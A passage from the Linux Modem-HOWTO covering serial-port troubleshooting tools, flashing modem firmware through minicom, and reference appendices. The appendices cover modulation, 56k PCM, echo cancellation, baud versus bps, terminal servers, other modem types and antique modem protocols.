This is an overrun of the hardware FIFO buffer and you can't increase its size. Bug note (reported in 2002): Due to a bug in some kernel 2.4 versions, the port number may be missing and you will only see "ttyS" (no port number). But if devfs notation such as "tts/2" is being used, there is no bug. See

17.23 Port get characters only sporadically

There could be some other program running on the port. Use "top" (provided you've set it to display the port number) or "ps -alxw". Look at the results to see if the port is being used by another program. Be on the lookout for the gpm mouse program which often runs on a serial port.

17.24 Troubleshooting Tools

These are some of the programs you might want to use in troubleshooting:

  • "lsof /dev/ttyS*" will list serial ports which are open.
  • "setserial" shows and sets the low-level hardware configuration of a port (what the driver thinks it is). See What is Setserial
  • "stty" shows and sets the configuration of a port (except for that handled by "setserial").
  • "modemstat" or "statserial" will show the current state of various modem signal lines (such as DTR, CTS, etc.)
  • "irqtune" will give serial port interrupts higher priority to improve performance.
  • "hdparm" for hard-disk tuning may help some more.
  • "lspci" shows the actual IRQs, etc. of hardware on the PCI bus.
  • "pnpdump --dumpregs" shows the actual IRQs, etc. of hardware for PnP devices on the ISA bus.
  • Some "files" in the /proc tree (such as ioports, interrupts, and tty/driver/serial).


Modem-HOWTO : Flash Upgrades

 Next Previous Contents

18. Flash Upgrades

Many modems can be upgraded by reprogramming their flash memories with an upgrade program which you get from the Internet. By sending this "program" from the PC via the serial port to the modem, the modem will store this program in its non-volatile memory (it's still there when the power is turned off). The instructions on installing it are usually on how to do in under Windows so you'll need to figure out how to do the equivalent under Linux (unless you want to install the upgrade under Windows). Sending the program to the modem is often called a download.

If the latest version of this HOWTO still contains this request (see New Versions of this HOWTO) please send me your experiences with installing such upgrades that will be helpful to others.

Here's the general idea of doing an upgrade. First, there may be a command that you need to send your modem to tell it that what follows is a flash ROM upgrade. In one case this was AT** You can do this by starting a communications program (such as minicom) and type. First type AT <enter> to see if your modem is there and answers "OK".

Next, you need to send an file (sometimes two files) directly to the modem. Communication programs (such as minicom) often use zmodem or kermit to send files to the modem (and beyond) but these put the file into packets which append headers and you want the exact file sent to the modem, not a modified one. But the kermit communications program has a "transmit" command that will send the file directly (without using the kermit packets) so this is one way to send a file directly. Minicom didn't have this feature in 1998.

Another way to send the file(s) would be to escape from the communications program to the shell (in minicom this is ^AJ) and then: cat upgrade_file_name > /dev/ttyS2 (if your serial port is ttyS2). Then go back to the communication program (type fg at the command line prompt in minicom) to see what happened.

Here's an example session for a certain Rockwell modem (C-a is ^A):

- Run minicom
- Type AT** : see "Download initiated ..."
- C-a J
- cat FLASH.S37 > /dev/modem
- fg : see "Download flash code ..."
- C-a J
- cat 283P1722.S37 > /dev/modem
- fg : see "Device successfully programmed"


Modem-HOWTO : Other Sources of Information

 Next Previous Contents

19. Other Sources of Information

19.1 Misc

  • man pages for: agetty(8), getty(1m), gettydefs(5),
init(1), isapnp(8), login(1), mgetty(8),
setserial(8)
  • Your modem manual (if it exists). Some modems come without manuals.
  • Serial Suite by Vern Hoxie is a collection of blurbs about the care and feeding of the Linux serial port plus some simple programs.
  • The Linux serial mailing list. To subscribe, send email to majordomo@vger.rutgers.edu, with ``subscribe linux-serial'' in the message body. If you send ``help'' in the message body, you get a help message. The server also serves many other Linux lists. Send the ``lists'' command for a list of mailing lists.

19.2 Books

I've been unable to find a good up-to-date book on modems.

  • The Complete Modem Reference by Gilbert Held, 1997. Contains too much info about obsolete topics. More up-to-date info may be found on the Internet.
  • Modems For Dummies by Tina Rathbone, 1996. (Have never seen it.)
  • The Modem Technical Guide by Douglas Anderson, 1996.
  • Ultimate Modem Handbook by Cass R. Lewart, 1998.
  • Black, Uyless D.: Physical Layer Interfaces & Protocols, IEEE Computer Society Press, Los Alamitos, CA, 1996.

19.3 HOWTOs

  • Cable-Modem mini-howto
  • SuSE ISDN Howto (not a LDP Howto) http://sol.parkland.cc.il.us/sdb/en/html/isdn.html or http://brenner.chemietechnik.uni-dortmund.de/doc/sdb/en/html/isdn.html
  • Linux-Modem-Sharing mini-howto. Computers on a network share a single modem for dial-out (like a shared printer).
  • Modems-HOWTO: In French (Not used in creating this Modem-HOWTO)
  • NET-3-4-HOWTO: all about networking, including SLIP, CSLIP, and PPP
  • PPP-HOWTO: help with PPP including modem set-up
  • Serial-HOWTO has info on Multiport Serial Cards used for both terminals and banks of modems. Covers the serial port in more detail than in the HOWTO.
  • Serial-Programming-HOWTO: for some aspects of serial-port programming
  • Text-Terminal-HOWTO: (including connecting up with modems)
  • UUCP-HOWTO: for information on setting up UUCP

19.4 Usenet newsgroups

  • comp.os.linux.answers; FAQs, How-To's, READMEs, etc. about Linux.
  • comp.os.linux.hardware; Hardware compatibility with the Linux operating system.
  • comp.os.linux.setup; Linux installation and system administration.
  • comp.dcom.modems; Modems for all OS's

19.5 Web Sites

  • Modem List of modems which work/don't_work under Linux http://www.idir.net/~gromitkc/winmodem.html
  • Linux Serial Driver home page Includes info about support for PCI modems.
  • Hayes AT modem commands Technical Reference for Hayes (tm) Modem Users
  • AT Command Set and Register Summary for Analog Modem Modules (Cisco)
  • Controlling your Modem with AT Commands
  • Modem FAQs:
    Navas 28800-56K Modem FAQ
  • Curt's High Speed Modem Page
  • Much info on 56k modems 56k Modem = v.Unreliable
  • Links to modem manufacturers
  • More Links to modem manufacturers
  • http://search.fcc.gov/ name="Search for manufacturer by FCC ID">


Modem-HOWTO : Appendix A: How Analog Modems Work (technical) (unfinished)

 Next Previous Contents

20. Appendix A: How Analog Modems Work (technical) (unfinished)

20.1 Modulation Details

Intro to Modulation

This part describes the modulation methods used for conventional modems. It doesn't cover the high speed PCM methods (modulus conversion) sometimes used by 56k Modems (V.90, V.92). But 56k modems also use the modulation methods described here.

Modulation is the conversion of a digital signal represented by binary binary (0 or 1) into an analog signal something like a sine wave. The modulated signal consists pure sine wave "carrier" signal which is modified to convey information. A pure carrier sine wave, unchanging in frequency and voltage, provides no flow of information at all (except that a carrier is present). To make it convey information we modify (or modulate) this carrier. There are 3 basic types of modulation: frequency, amplitude, and phase. They will be explained next.

Frequency Modulation

The simplest modulation method is frequency modulation. Frequency is measured in cycles per second (of a sine wave). It's the count of the number of times the sine wave shape repeats itself in a second. This is the same as the number of times it reaches it peak value during a second. The word "Hertz" (abbreviated Hz) is used to mean "cycles per second".

A simple example of frequency modulation is where one frequency means a binary 0 and another means a 1. For example, for some obsolete 300 baud modems 1070 Hz meant a binary 0 while 1270 Hz meant a binary 1. This was called "frequency shift keying". Instead of just two possible frequencies, more could be used to allow more information to be transmitted. If we had 4 different frequencies (call them A, B, C, and D) then each frequency could stand for a pair of bits. For example, to send 00 one would use frequency A. To send 01, use frequency B; for 10 use C; for 11 use D. In like manner, by using 8 different frequencies we could send 3 bits with each shift in frequency. Each time we double the number of possible frequencies we increase the number of bits it can represent by 1.

Amplitude Modulation

Once one understands frequency modulation example above including the possibilities of representing a few bits by a single shift in frequency, it's easier to understand both amplitude modulation and phase modulation. For amplitude modulation, one just changes the height (voltage) of the sine wave analogous to changing the frequency of the sine wave. For a simple case there could only be 2 allowed amplitude levels, one representing a 0-bit and another representing a 1-bit. As explained for the case of frequency modulation, having more possible amplitudes will result in more information being transmitted per change in amplitude.

Phase Modulation

To change the phase of a sine wave at a certain instant of time, we stop sending this old sine wave and immediately begin sending a new sine wave of the same frequency and amplitude. If we started sending the new sine wave at the same voltage level (and slope) as existed when we stopped sending the old sine wave, there would be no change in phase (and no detectable change at all). But suppose that we started up the new sine wave at a different point on the sine wave curve. Then there would likely be a sudden voltage jump at the point in time where the old sine wave stopped and the new sine wave began. This is a phase shift and it's measured in degrees (deg.) A 0 deg. (or a 360 deg.) phase shift means no change at all while a 180 deg. phase shift just reverses the voltage (and slope) of the sine wave. Put another way, a 180 deg. phase shift just skips over a half-period (180 deg.) at the point of transition. Of course we could just skip over say 90 deg. or 135 deg. etc. As in the example for frequency modulation, the more possible phase shifts, the more bits a single shift in phase can represent.

Combination Modulation

Instead of just selecting either frequency, amplitude, or phase modulation, we may chose to combine modulation methods. Suppose that we have 256 possible frequencies and thus can send a byte (8 bits) for each shift in frequency (since 2 to the 8 power is 256). Suppose also that we have another 256 different amplitudes so that each shift in amplitude represents a byte. Also suppose there are 256 possible phase shifts. Then a certain points in time we may make a shift in all 3 things: frequency, amplitude and phase. This would send out 3 bytes for each such transition.

No modulation method in use today actually does this. It's not practical due to the relatively long time it would take to detect all 3 types of changes. The main problem is that frequent shifts in phase can make it appear that a shift in frequency has happened when it actually didn't.

To avoid this difficulty one may simultaneous change only the phase and amplitude (with no change in frequency). This is called phase-amplitude modulation. It is also called quadrature amplitude modulation (= QAM) since there were only 4 possible phases (quadrature) in early versions of it. This method is used today for the common modem speeds of 14.4k, 28.8k, and 33.6k. The only significant case where this modulation method is not used today is for 56k modems. But even 56k modems exclusively use QAM (phase-amplitude modulation) in the direction from your PC out the telephone line. Sometimes even the other direction will also fall back to QAM when line conditions are not good enough. Thus QAM (phase-amplitude modulation) still remains the most widely used method on ordinary telephone lines.

20.2 56k Modems (V.90, V.92)

The "modulation" method used for speeds above 33.6k is entirely different than the common phase-amplitude modulation used at 33.6k and below. Since ordinary telephone calls are converted to digital signals at the local offices of the telephone company, the fastest speed that you can send digital data by an ordinary telephone call is the same speed that the telephone company uses over its digital portion of the phone call transmission. What is this speed? Well, it's close to 64kbps. It would be 64k but sometimes bits are "stolen" for signalling purposes. But if the phone Co. knows that the link is not for voice, bits may not get stolen. The case of 64k will be presented and then it will be explained why the actual speed is lower (56k or less --usually significantly less).

Thus 64k is the absolute top speed possible (not counting date compression) for an ordinary telephone call using the digital portion of the circuit that was designed to send digital encodings of the human voice. In order to use 64k, the modems need to either have direct access to the digital portion of the circuit or be able to predict the exact digital signal that generated a received analog signal (and conversely). This task is far too error prone if both sides of a telephone call have only an analog interface to the telephone company. But if one side has a digital interface, then it's possible (in one direction for V.90 and in both directions for V.92). Thus if your ISP has a digital interface to the phone company, the ISP may send out a certain digital signal over the phone lines toward your PC. The digital signal from the ISP gets converted to analog at the local telephone office near your PC's location (perhaps near your home). Then it's your modem's task to try to figure out exactly what that digital signal was. If it could do this then transmission at 64k (the speed of the telephone company's digital signal) is possible in this direction.

What method does the telephone company use to digitally encode analog signals? It uses a method of sampling the amplitude of the analog signal at a rate of 8000 samples per second. Each sample amplitude is encoded as a 8-bit byte. (Note: 8 x 8000 = 64k) This is called "Pulse Code Modulation" = PCM. These bytes are then sent digitally on the telephone company's digital circuits where many calls share a single circuit using a time-sharing scheme known as "time division multiplexing". Then finally at a local telephone office near your home, the digital signal is de-multiplexed resulting in the same digital signal as was originally created by PCM. Then this signal is converted back to analog and sent to your home. Each PCM 8-bit byte creates a certain amplitude of the analog signal. Your modem's task is to determine just what that PCM 8-bit byte was, based on the analog amplitude it detects.

This was originally called is called "modulus conversion". It's now often called "PCM" something since its just like encoding into PCM but with the added problem of sampling at the precise time that the codec generate the analog voltage from the digital PCM code.

In order to determine the digital codes the telephone Co. used to create the analog signal, the modem must sample this analog signal amplitude at exactly the same points in time the phone Co. used when it created the analog signal. To do this an 8kHz clock timing signal is generated with help from a residual 4kHz signal on the analog phone line. The creation of amplitudes to go out to your home/office at 8k amplitudes/sec sort of creates a 4kHz signal. Suppose every other amplitude was of opposite polarity. Then there would be a 4kHz sine-like wave created. Each amplitude is in a sense a 8-bit symbol and when to sample amplitudes is known as "symbol timing". The modem's task is to insure that it's 8kHz clock runs at precisely twice the speed of the 4kHz signal (which could drift slightly off 4kHz) and that the modem's clock is synchronized with that used by the telephone company's codec. The actual electronics may use much higher frequency clocks (dividing them down) and take more than a single sample. If you know how this synchronization works, let me know (if this a a recent Modem-HOWTO).

Now the encoding of amplitudes in PCM is not linear. At low amplitudes an increment of 1 in the PCM byte represents a much smaller increment (delta) in analog signal amplitude than would be the case if the amplitude being sampled were much higher. Thus for low amplitudes it's difficult to distinguish between adjacent byte values. To make it easier to do this (for 56k modems) certain PCM codes representing very low amplitudes are not used. This gives a larger delta between possible amplitudes and makes correct detection of them by your modem easier. Thus half of the amplitude levels are not used (in the downstream direction) by V.90 or V.92. This is tantamount to each symbol (valid amplitude level) representing 7 bits instead of 8. This is where 56k comes from: 7 bits/symbol x 8k symbols/sec = 56k bps. Of course each amplitude symbol is actually generated by 8-bits but only 128 bytes of the possible 256 bytes are actually used by the ISP sender. There is a code table mapping these 128 8-bit bytes to 128 7-bit bytes. It's not just a simple mapping like ignoring the last bit. Thus to send 7 normal data bytes (8-bits) will take 8 of the above mentioned bytes.

But it's a little more complicated that this. If the line conditions are not nearly perfect or if the direction is upstream, then even fewer possible levels (symbols) are used resulting in speeds under 56k. Also due to US government rules prohibiting high power levels on phone lines, certain high amplitudes levels can't be used resulting in only about 53.3k at best for "56k" modems in the downstream direction.

Note that the digital part of the telephone network is bi-directional. Two such circuits are used for a phone call, one in each direction. The 56k signal is only used in one of these directions: from your ISP to your PC (called the "downstream" direction). For V.90, the other direction (upstream, from your home/office to the ISP) uses the conventional phase-amplitude modulation scheme with a maximum of 36.6kbps (and not 53.3kbps). For V.92, this upstream direction also uses the PCM method and supports 48 kbps. The analog portion of the circuit from your home/office to the nearest telephone Co. office was never intended to be bi-directional since it's only a single twisted pair. But due to sophisticated cancellation methods it's able to convey data simultaneously in both directions as explained in the next subsection. It's claimed that with V.92, it's almost impossible to get maximum thruput in both directions simultaneously due to the difficulties of bi-directional flow on a single circuit.

20.3 Full Duplex on One Circuit

Modern modems are able to both send and receive signals simultaneously. One could call this "bidirectional" or "full duplex". This was once done by using one frequency for sending and another for receiving. Today, the same frequency is used for both sending and receiving. How this works is not easy to comprehend.

Most of the telephone system "main lines" are digital with two channels in use when you make a telephone call. What you say goes over one digital channel and what the other person says goes over the other (reverse) digital channel. Unfortunately, the part of the telephone system which goes to homes (and many offices) is not digital but only a single analog channel. If both modems were directly connected to the digital part of the phone system then bidirectional communication (sending and receiving at the same time) would be no problem because two channels would be available.

But the end portion of the signal path goes over just one circuit. How can there be two-way communication on it simultaneously? It works something like this. Suppose your modem is receiving a signal from the other modem and is not transmitting. Then there's no problem. But if your modem were to start transmitting (with the other received signal still flowing into your modem) it would drown out the received signal. If the transmitted signal was a "solid" voltage wave applied to the end of the line then there is no way any received signal could be present at that point.

But the transmitter has "internal impedance" and the transmitted signal applied to the end of the line is not solid (or strong enough) to completely eliminate the received signal coming from the other end. Thus while the voltage at the end of the line is mostly the stronger transmitted signal a small part of it is the desired received signal. All that is needed is to filter out this stronger transmitted signal and then what remains will be the signal from the other end which we want. To do this, one only needs to get the pure transmitted signal directly from the transmitter (before it's applied to the line) amplify it a determined amount, and then subtract it from the total signal present at the end of the line. Doing this in the receiver circuits leaves a signal which mostly came from the other end of the line.

20.4 Echo Cancellation

An analog signal traveling down a line in one direction may encounter changes in the line that will cause part of the signal to echo back in the opposite direction. Since the same circuit is used for bi-directional flow of data, such echos will result in garbled reception. One way to ameliorate this problem is to send training signals once in a while to determine the echo characteristic of the line. This will enable one to predict the echos that will be generated by any given signal. Then this prediction method is used to predict what echos the transmitted signal will cause. Then this predicted echo signal is subtracted from the received signal. This cancels out the echoes.


Modem-HOWTO : Appendix B: Digital Modem Signal Processing (not done)

 Next Previous Contents

21. Appendix B: Digital Modem Signal Processing (not done)


Modem-HOWTO : Appendix C: "baud" vs. "bps"

 Next Previous Contents

22. Appendix C: "baud" vs. "bps"

22.1 A simple example

``baud'' and ``bps'' are perhaps one of the most misused terms in the computing and telecommunications field. Many people use these terms interchangeably, when in fact they are not! bps is simply the number of bits transmitted per second. The baud rate is a measure of how many times per second a signal changes (or could change). For a typical serial port a 1-bit is -12 volts and a 0-bit is +12 v (volts). If the bps is 38,400 a sequence of 010101... would also be 38,400 baud since the voltage shifts back and forth from positive to negative to positive, etc. and there are 38,400 shifts per second. For another sequence say 111000111... there will be fewer shifts of voltage since for three 1's in sequence the voltage just stays at -12 volts yet we say that its still 38,400 baud since there is a possibility that the number of changes per second will be that high.

Looked at another way, put an imaginary tic mark separating each bit (even though the voltage may not change). 38,400 baud then means 38,400 tic marks per second. The tic marks at at the instants of permitted change and are actually marked by a synchronized clock signal generated in the hardware but not sent over the external cable.

Suppose that a "change" may have more than the two possible outcomes of the previous example (of +- 12 v). Suppose it has 4 possible outcomes, each represented by a unique voltage level. Each level may represent a pair of bits (such as 01). For example, -12v could be 00, -6v 01, +6v 10 and +12v 11. Here the bit rate is double the baud rate. For example, 3000 changes per second will generate 2 bits for each change resulting in 6000 bits per second (bps). In other words 3000 baud results in 6000 bps.

22.2 Real examples

The above example is overly simple. Real examples are more complicated but based on the same idea. This explains how a modem running at 2400 baud, can send 14400 bps (or higher). The modem achieves a bps rate greater than baud rate by encoding many bits in each signal change (or transition). Thus, when 2 or more bits are encoded per baud, the bps rate exceeds the baud rate. If your modem-to-modem connection is at 14400 bps, it's going to be sending 6 bits per signal transition (or symbol) at 2400 baud. A speed of 28800 bps is obtained by 3200 baud at 9 bits/baud. When people misuse the word baud, they may mean the modem speed (such as 33.6k).

Common modem bps rates were formerly 50, 75, 110, 300, 1200, 2400, 9600. These were also the bps rates over the serial_port-to-modem cables. Today the bps modem-to-modem (maximum) rates are 14.4k, 28.8k, 33.6k, and 56k, but the common rates over the serialPort-to-modem cables are not the same but are: 19.2k, 38.4k, 57.6k, 115.2k, 230.4k. The high speed of 230.4k is (as of late 2000) unfortunately not provided by most new (and old) hardware. Using modems with V.42bis compression (max 4:1 compression), rates up to 115.2k bps are possible for 33.6k modems. 203.2k (4 x 53.3k) is possible for 56k modems.

Except for 56k modems, most modems run at 2400, 3000, or 3200 baud. Even the 56k modems use these bauds for transmission and sometimes fall back to them for reception. Because of the bandwidth limitations on voice-grade phone lines, baud rates greater than 2400 are harder to achieve, and only work under conditions of good phone line quality.

How did this confusion between bps and baud start? Well, back when antique low speed modems were high speed modems, the bps rate actually did equal the baud rate. One bit would be encoded per phase change. People would use bps and baud interchangeably, because they were the same number. For example, a 300 bps modem also had a baud rate of 300. This all changed when faster modems came around, and the bit rate exceeded the baud rate. ``baud'' is named after Emile Baudot, the inventor of the asynchronous telegraph printer. One way this problem gets resolved is to use the term "symbol rate" instead of "baud" and thus avoid using the term "baud". However when talking about the "speeds" between the modem and the serial port (DTE speed) baud and the symbol rate are the same. And even "speed" is a misnomer since we really mean flow rate.


Modem-HOWTO : Appendix D: Terminal Server Connection

 Next Previous Contents

23. Appendix D: Terminal Server Connection

This section was adapted from Text-Terminal-HOWTO.

A terminal server is something like an intelligent switch that can connect many modems (or terminals) to one or more computers. It's not a mechanical switch so it may change the speeds and protocols of the streams of data that go thru it. A number of companies make terminal servers: Xyplex, Cisco, 3Com, Computone, Livingston, etc. There are many different types and capabilities. Another HOWTO is needed to compare and describe them (including the possibility of creating your own terminal server with a Linux PC). Most are used for modem connections rather than directly connected terminals.

One use for them is to connect many modems (or terminals) to a high speed network which connects to host computers. Of course the terminal server must have the computing power and software to run network protocols so it is in some ways like a computer. The terminal server may interact with the user and ask what computer to connect to, etc. or it may connect without asking. One may sometimes send jobs to a printer thru a terminal server.

A PC today has enough computing power to act like a terminal server except that each serial port should have its own hardware interrupt. PC's only have a few spare interrupts for this purpose and since they are hard-wired you can't create more by software. A solution is to use an advanced multiport serial card which has its own system of interrupts (or on lower cost models, shares one of the PC's interrupts between a number of ports). See Serial-HOWTO for more info. If such a PC runs Linux with getty running on many serial ports it might be thought of as a terminal server. It is in effect a terminal server if it's linked to other PC's over a network and if its job is mainly to pass thru data and handle the serial port interrupts every 14 (or so) bytes. Software called "radius" is sometimes used.

Today real terminal servers serve more than just terminals. They also serve PC's which emulate terminals, and are sometimes connected to a bank of modems connected to phone lines. Some even include built-in modems. If a terminal (or PC emulating one) is connected directly to a modem, the modem at the other end of the line could be connected to a terminal server. In some cases the terminal server by default expects the callers to use PPP packets, something that real text terminals don't generate.


Modem-HOWTO : Appendix E: Other Types of Modems

 Next Previous Contents

24. Appendix E: Other Types of Modems

This HOWTO currently only deals with the common type of modem used to connect PC's to ordinary analog telephone lines. There are various other types of modems, including devices called modems that are not really modems.

24.1 Digital-to-Digital "Modems"

The standard definition of a modem is sometimes broadened to include "digital" modems. Today direct digital service is now being provided to many homes and offices so a computer there sends out digital signals directly (well almost) into the telephone lines. But a device is still needed to convert the computer digital signal into the type allowed on telephone circuits and this device is sometimes called a modem. This HOWTO doesn't cover such modems but some links to documents that do may be found at the start of this HOWTO. The next 3 sections: ISDN, DSL and 56k, concern digital-to-digital "modems".

24.2 ISDN "Modems"

Such a "modem" is really a Terminal Adapter (TA). Support for some of them can be built into the kernel 2.4 or added as a module. The kernel documentation has an isdn subdirectory. Configuration might use "isdn-config" GUI. A Debian package "isdnutils" is available. There is SuSE ISDN Howto (not a LDP Howto) which is translated from German http://sol.parkland.cc.il.us/sdb/en/html/isdn.html There is an isdn4linux package and a newsgroup: de.alt.comm.isdn4linux. Many of the postings are in German. You might try using a search engine to look for "isdn4linux".

24.3 Digital Subscriber Line (DSL)

DSL uses the existing twisted pair line from your home (etc.) to the local telephone office. This can be used if your telephone line can accept significantly higher speeds than an ordinary modem would use. It replaces the analog-to-digital converter at the local telephone office with a converter which can accept a much faster flow of data (in a different format of course). The device which converts the digital signals from your computer to the signal used to represent digital data on the local telephone line is also called a modem.

24.4 56k Digital-Modems

For any 56k modem to work as a 56k modem in your home or office, the other end must be connected directly to the digital system of the telephone company. Thus ISPs at the other end of the line must obtain special digital modems to provide customers with 56k service. There's more to it than this since banks of many modems are multiplexed onto a high capacity telephone cable that transports a large number of phone calls simultaneously (such as a T1, E1, ISDN PRI, or better line). This requires a concentrator or "remote access server". This has usually been done by stand-alone units (like PC's but they cost much more and have proprietary OSs). Now there are some cards one may insert into a PC's PCI bus to do this.

24.5 Leased Line Modems

See the mini-howto: Leased-Line which covers leased lines where there is no dialtone. Leased line modems are analog and not digital. These special modems are used on lines leased from the telephone company or sometimes on just a long direct wire hookup. They often will also work as ordinary modems but go into leased-line mode when the AT command &L1 is given.

Ordinary modems for a telephone line will not normally work on such a leased line. An ordinary telephone line has about 40-50 volts (known as the "battery) on it when not in use and the conventional modem uses this voltage for transmission. Furthermore, the telephone company has special signals indicating a ring, line busy, etc. Conventional modems expect and respond to these signals. Connecting two such modems by a long cable will not provide the telephone signals on the cable and thus the modems will not work.

Leased-line modems often use a "dumb mode" where they ignore AT commands, disable result reporting, etc. One type of leased line used two pairs of wires (one for each direction) using V.29 modulation at 9600 baud. Some brands of leased line modems are incompatible with other brands.


Modem-HOWTO : Appendix F: Fax pixels (dots)

 Next Previous Contents

25. Appendix F: Fax pixels (dots)

Here's some info on the bloated bandwidth required for standard fax including the dot density. You can of course send a fax via your modem if you dial the real telephone number of the recipient.

A4 paper:    216mm (horizontal) * 297mm (vertical)
normal mode       8dots/mm      * 3.85dots/mm
fine   mode                     * 7.7dots/mm
extra fine mode                 *15.4dots/mm

Each dot is either white or black and thus 1 bit. One sheet of A4 paper using fine mode is (216*8) * (297*7.7) = about 4 million dots. With a compression ratio of 8:1 it takes about 50 seconds at 9600bps for transmission.


Modem-HOWTO : Appendix G: Antique Modems

 Next Previous Contents

26. Appendix G: Antique Modems

26.1 Introduction

By "antique" I mean modems with speeds of 14.4 bps or less. Many of them were made in the 1980s. Faster modems are also included if they use a proprietary protocol. This appendix compares the antique modems with the modern ones. You should read it if you are interested in modem history or are intending to actually use an antique modem. Also, many current modems and software still support the old protocols and you might find that these have been configured by mistake.

26.2 Old CCITT (ITU) and Bell Protocols

  • Bell 103 300 bps; frequency shift keying = FSK (1962)
  • V.21 300 bps; frequency shift keying (used a different frequency than Bell 103) (1964)
  • V.23 1200/75 bps and 600/75 bps asymmetric; 75 bps is the reverse channel; frequency shift keying = FSK (1964)
  • Bell 212A 1200 bps; quadrature differential phase shift keying = QDPSK = DPSK
  • V.22 1200 bps; fallback to 600 bps ; QDPSK = DPSK (1980)
  • V.22bis 2400 bps; QAM (1984)
  • V.32 9600 bps; QAM (1984 but not widely used until years later)
  • V.32bis 14400 bps; QAM (1991)
QAM= Quadrature Amplitude Modulation. The word "Quadrature" is short for "quadrature differential phase shift keying" =QDPSK

26.3 Historical Overview

Teletypes and dumb terminals

Prior to 1960, 110 bps ( 0.11) modems were used for teletype machines (like an electric typewriter only much more noisy). Then in 1960 AT$amp;T came out with a 300 bps modem (for use on it's phone system). Such slow (and expensive modems) were later mainly used for transmitting data between mainframe computers or for connecting a dumb terminal to a mainframe computer over phone lines. Many dumb terminals didn't even have a screen display, but printed on paper instead.

PCs and BBSs

With the advent of the personal computer (PCs) in the early 1980s, the PC was used like a dumb terminal for connecting to mainframes. But now files could be transferred and one PC could connect to another.

The 1980s saw the rise of the Bulletin Board System (BBS). The public could dial up a BBS with a modem and then downloadable free software, participate in discussions on various topics, play on-line games, etc. It was something like visiting a large Internet site. Many BBSs would have a monthly charge but some were run by volunteers and were free. Many companies established BBSs for customers that contained support information, catalogs, etc. In the early 1990s, BBSs were booming. By the mid 1990s some even offered Internet connections. For some history of BBSs see Sysops' Corner: History of BBSing

The Internet

Then came the advance of Internet in the mid 1990s which resulted in the demise of the BBSs near the end of the 1990s. Some BBSs became websites, but when BBSs were dying in droves, websites were quite expensive so most BBSs just disappeared. Also, the public was unwilling to pay for using websites like they previously paid for the use of BBSs. There were such a huge number of free websites to visit that subscription BBSs were no longer competitive.

Modems permitted the public to connect to the Internet. In the 1990s Modems became fast, cheap and widely used. Then in the late 1990s, faster non-analog "modems" appeared: ISDN, DSL, and cable. The history of these isn't in this HOWTO.

Speeds

Before V.32 (9600 bps), modems typically had speeds of 300 to 2400 bps. Some super fast ones had much higher speeds (such as 19.2k bps) and used non-standard protocols. To utilize these "fast" ones, both modems for a connection needed to support the same proprietary protocol which often meant that they must be the same brand.

Prior to the V.42 standard for error correction and the V.42bis (1990) standard for data compression, the MNP standards were usually used for both error correction and data compression. An X.PC error correction standard was used on some commercial data networks. Compression and error correction were available on some 2400 bps modems.

From 1960 to 1980 most modems only had a speed of 300 bps (which was also 300 baud). This is only 0.3kbps. Modern modems are over 100 times faster. Some old-slow modems are still in use so they are not really "antique" quite yet.

26.4 Proprietary protocols, etc.

These were used in order to obtain higher speeds before more standardized higher speeds became established. The modem at the other end needs to support the same protocol for this to work. The dates shown below may be only approximate.

  • PEP (Packetized Ensemble Protocol 1985): 18k (at best).
  • Hayes Express 96: 9.6k (Hayes 1987)
  • HST: 9.6k (US Robotics 1986)
  • HST: 14.4k (US Robotics 1989)
  • HST: 16.8k (US Robotics 1992)
  • V.32 terbo: 19.2k (AT$amp;T 1993)
  • V.FastClass: 28.8k (Rockwell 1993)
  • X2 :57.3k (US Robotics 1997)
  • K56: Flex 57.3k (Rockwell 1997)
The PEP used as much bandwidth as feasible by splitting the spectrum into as many as 512 sub-bands. It was supported by Ven-Tel's Pathfinder and Telebit's Trailblazer.

26.5 Autobauding

This term has a few different meanings. In general it means either the automatic adjustment of modem-to-modem speed or of modem-to-serial_port speed.

26.6 Modem-to-modem Speed

Modern modems negotiate the modem-to-modem speed and protocol when they first connect to each other and normally connect to each other at the highest possible speed. If one side can't negotiate, the other side should accept whatever speed and protocol that the fixed side has available. Except that some modern modems may no longer support some of the antique protocols. During negotiations, one modem often must use a lower speed than its maximum in order to connect with the other modem. This is sometimes called "fallback" since one modem falls back to a lower speed (although it never really used its higher speed modem-to-modem). This is also called "autobauding" or "automode". Sometimes fallback also happens when both modems automatically lower their speed due to a noisy line. Register S37 in a modem is normally set to enable autobauding but may also be set for a fixed modem-to-modem speed in some modems.

Early modems didn't have such autobauding or fallback. If you have such a modem, it will likely work OK if the other modem you connect to is a modern one that can adjust it's speed and protocol to yours. But a problem arises if both modems which want to communicate with each other are both antique and don't support automode. In this case they need to be manually set to the same speed and protocol.

Even when this automode existed, there was sometimes a limited choices of speed (like only 1200/300 bps). In olden days (and even today), a computer dial-in site might have groups of phone lines, where each group which had a specific type modem on it which supported specific speeds and protocols. For example, if you had a 2400 bps Bell 212A modem then you simply only dialed in to certain telephone numbers that supported that speed and protocol. Once a site obtained modems that could support a wider variety of speeds and protocols, then there was no need to have different groups of phone lines.

26.7 Modem-to-serial_port Speed

Same speed required

For old modems (mostly under 9600 bps) the modem-to-serial_port speed had to be the same as the modem-to-modem speed. This was because data flowed straight thru the modem without "speed buffering" (storing bytes) inside the modem. This meant that both the modem's serial port and the computer's serial port had to be set to this speed. That is, both ends of the serial cable had to be set for this speed.

One might erroneously reason that if the serial port speed was higher than the modem-to-modem speed, all would work OK since then there would be no bottleneck in the serial line. This works OK in the direction from the modem to the PC since a higher speed line can have a lower thruput speed due to time spacing between bytes. But disaster strikes for the flow from the PC to the modem since it would flow at a speed faster than the modem could transmit the data. Data would be lost since there is no speed buffering.

Equalizing speed

If a modem had only one modem-to-modem speed (or was set by software or physical switches to only operate at one speed), then this wasn't a problem since one would just set the PCs serial port for this speed. Even if the modem had various modem-to-modem speeds which were set by negotiations with the other modem, there was no problem in setting the modem's serial port speed correctly. It would simply set this port speed to it's current modem-to-modem speed. Another way make the speeds equal is for the modem to detect the PC's serial port speed and then set it's modem-to-modem speed the same. This will be explained later.

But setting the computer's serial port to the modem-to-modem speed was a problem since the modem has no way to directly give commands to the PCs serial port to change it's speed. Only system software can do that. The modem finds out what speed to use based on negotiations with the other modem and thus the change of this serial port speed can't be done in advance. How does the modem communicate its chosen modem-to-modem speed to the system software?

Use "CONNECT" message to set speed

Here's one way to do it. Consider the case of a dial-in modem that others dial into. A getty program will be used to send login prompt thru the modems to users. Getty will also be the system software that changes the speed of the serial port and the modem will tell getty what modem-to-modem speed it's using. The modem will do this by sending getty a "CONNECT" message giving the modem-to-modem speed.

But there's one problem here. How does one insure that the "CONNECT" message, which the modem sends to getty via the serial port, is sent at the same speed as the PC's serial port? Here's how it's done.

